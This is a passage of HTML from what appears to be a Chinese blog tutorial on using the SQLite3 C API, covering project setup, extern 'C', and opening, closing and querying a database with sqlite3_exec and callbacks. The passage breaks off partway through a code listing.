title=\"二、基本编译\"\u003e\u003c/a\u003e二、基本编译\u003c/h2\u003e\u003cp\u003e这个不想多说了,在 VC 里新建 dos 控制台空白工程,把 sqlite3.c 和 sqlite3.h 添加到工程,再新建一个 main.cpp文件。在里面写:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;C\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;./sqlite3.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003eint\u003c/span\u003e , \u003cspan class=\"type\"\u003echar\u003c/span\u003e** )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e为什么要 extern “C” ?如果问这个问题,我不想说太多,这是C++的基础。要在 C++ 里使用一段 C 的代码,必须要用 extern “C” 括起来。C++跟 C虽然语法上有重叠,但是它们是两个不同的东西,内存里的布局是完全不同的,在C++编译器里不用extern “C”括起C代码,会导致编译器不知道该如何为 C 代码描述内存布局。\u003c/p\u003e\u003cp\u003e可能在 sqlite3.c 里人家已经把整段代码都 extern “C” 括起来了,但是你遇到一个 .c 文件就自觉的再括一次,也没什么不好。\u003c/p\u003e\u003cp\u003e基本工程就这样建立起来了。编译,可以通过。但是有一堆的 warning。可以不管它。\u003c/p\u003e\u003ch2 id=\"三、SQLITE操作入门\"\u003e\u003ca href=\"https://xeonds.github.io/2022/11/22/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/C%E8%AF%AD%E8%A8%80SQLite3%E4%BD%BF%E7%94%A8%E6%80%BB%E7%BB%93/#%E4%B8%89%E3%80%81SQLITE%E6%93%8D%E4%BD%9C%E5%85%A5%E9%97%A8\" class=\"headerlink\" title=\"三、SQLITE操作入门\"\u003e\u003c/a\u003e三、SQLITE操作入门\u003c/h2\u003e\u003cp\u003esqlite提供的是一些C函数接口,你可以用这些函数操作数据库。通过使用这些接口,传递一些标准 sql 语句(以 char * 类型)给 sqlite 函数,sqlite 就会为你操作数据库。\u003c/p\u003e\u003cp\u003esqlite 跟MS的access一样是文件型数据库,就是说,一个数据库就是一个文件,此数据库里可以建立很多的表,可以建立索引、触发器等等,但是,它实际上得到的就是一个文件。备份这个文件就备份了整个数据库。\u003c/p\u003e\u003cp\u003esqlite 不需要任何数据库引擎,这意味着如果你需要 sqlite 来保存一些用户数据,甚至都不需要安装数据库(如果你做个小软件还要求人家必须装了sqlserver 才能运行,那也太黑心了)。\u003c/p\u003e\u003cp\u003e下面开始介绍数据库基本操作。\u003c/p\u003e\u003cp\u003e1 基本流程(1)关键数据结构\u003c/p\u003e\u003cp\u003esqlite 里最常用到的是 sqlite3 * 类型。从数据库打开开始,sqlite就要为这个类型准备好内存,直到数据库关闭,整个过程都需要用到这个类型。当数据库打开时开始,这个类型的变量就代表了你要操作的数据库。下面再详细介绍。\u003c/p\u003e\u003cp\u003e(2)打开数据库\u003c/p\u003e\u003cp\u003eint sqlite3_open( 文件名, sqlite3 ** );\u003c/p\u003e\u003cp\u003e用这个函数开始数据库操作。\u003c/p\u003e\u003cp\u003e需要传入两个参数,一是数据库文件名,比如:c://DongChunGuang_Database.db。\u003c/p\u003e\u003cp\u003e文件名不需要一定存在,如果此文件不存在,sqlite 会自动建立它。如果它存在,就尝试把它当数据库文件来打开。\u003c/p\u003e\u003cp\u003esqlite3 ** 参数即前面提到的关键数据结构。这个结构底层细节如何,你不要关它。\u003c/p\u003e\u003cp\u003e函数返回值表示操作是否正确,如果是 SQLITE_OK 则表示操作正常。相关的返回值sqlite定义了一些宏。具体这些宏的含义可以参考 sqlite3.h 文件。里面有详细定义(顺便说一下,sqlite3 的代码注释率自称是非常高的,实际上也的确很高。只要你会看英文,sqlite 可以让你学到不少东西)。\u003c/p\u003e\u003cp\u003e下面介绍关闭数据库后,再给一段参考代码。\u003c/p\u003e\u003cp\u003e(3)关闭数据库\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_close\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3 *)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e前面如果用 sqlite3_open 开启了一个数据库,结尾时不要忘了用这个函数关闭数据库。\u003c/p\u003e\u003cp\u003e下面给段简单的代码:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;C\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;./sqlite3.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003eint\u003c/span\u003e , \u003cspan class=\"type\"\u003echar\u003c/span\u003e** )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   sqlite3 * db = \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e; \u003cspan class=\"comment\"\u003e//声明sqlite关键结构指针\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e result;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//打开数据库\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//需要传入 db 这个指针的指针,因为 sqlite3_open 函数要为这个指针分配内存,还要让db指针指向这个内存区\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   result = sqlite3_open( “c:\u003cspan class=\"comment\"\u003e//Dcg_database.db”, \u0026amp;db );\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e( result != SQLITE_OK )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"comment\"\u003e//数据库打开失败\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//数据库操作代码\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//…\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//数据库打开成功\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//关闭数据库\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esqlite3_close( db );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这就是一次数据库操作过程。\u003c/p\u003e\u003cp\u003e2 SQL语句操作\u003c/p\u003e\u003cp\u003e本节介绍如何用sqlite 执行标准 sql 语法。\u003c/p\u003e\u003cp\u003e(1)执行sql语句\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_exec\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *sql, sqlite3_callback, \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *,  \u003cspan class=\"type\"\u003echar\u003c/span\u003e **errmsg )\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这就是执行一条 sql 语句的函数。\u003c/p\u003e\u003cp\u003e第1个参数不再说了,是前面open函数得到的指针。说了是关键数据结构。\u003c/p\u003e\u003cp\u003e第2个参数const char *sql 是一条 sql 语句,以/0结尾。\u003c/p\u003e\u003cp\u003e第3个参数sqlite3_callback 是回调,当这条语句执行之后,sqlite3会去调用你提供的这个函数。(什么是回调函数,自己找别的资料学习)\u003c/p\u003e\u003cp\u003e第4个参数void * 是你所提供的指针,你可以传递任何一个指针参数到这里,这个参数最终会传到回调函数里面,如果不需要传递指针给回调函数,可以填NULL。等下我们再看回调函数的写法,以及这个参数的使用。\u003c/p\u003e\u003cp\u003e第5个参数char ** errmsg 是错误信息。注意是指针的指针。sqlite3里面有很多固定的错误信息。执行 sqlite3_exec 之后,执行失败时可以查阅这个指针(直接 printf(“%s/n”,errmsg))得到一串字符串信息,这串信息告诉你错在什么地方。sqlite3_exec函数通过修改你传入的指针的指针,把你提供的指针指向错误提示信息,这样sqlite3_exec函数外面就可以通过这个 char*得到具体错误提示。\u003c/p\u003e\u003cp\u003e说明:通常,sqlite3_callback 和它后面的 void * 这两个位置都可以填 NULL。填NULL表示你不需要回调。比如你做insert 操作,做 delete 操作,就没有必要使用回调。而当你做 select 时,就要使用回调,因为 sqlite3 把数据查出来,得通过回调告诉你查出了什么数据。\u003c/p\u003e\u003cp\u003e(2)exec 的回调\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"title function_\"\u003eint\u003c/span\u003e \u003cspan class=\"params\"\u003e(*sqlite3_callback)\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e*,\u003cspan class=\"type\"\u003eint\u003c/span\u003e,\u003cspan class=\"type\"\u003echar\u003c/span\u003e**, \u003cspan class=\"type\"\u003echar\u003c/span\u003e**)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e你的回调函数必须定义成上面这个函数的类型。下面给个简单的例子:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr/\u003e\u003cspan 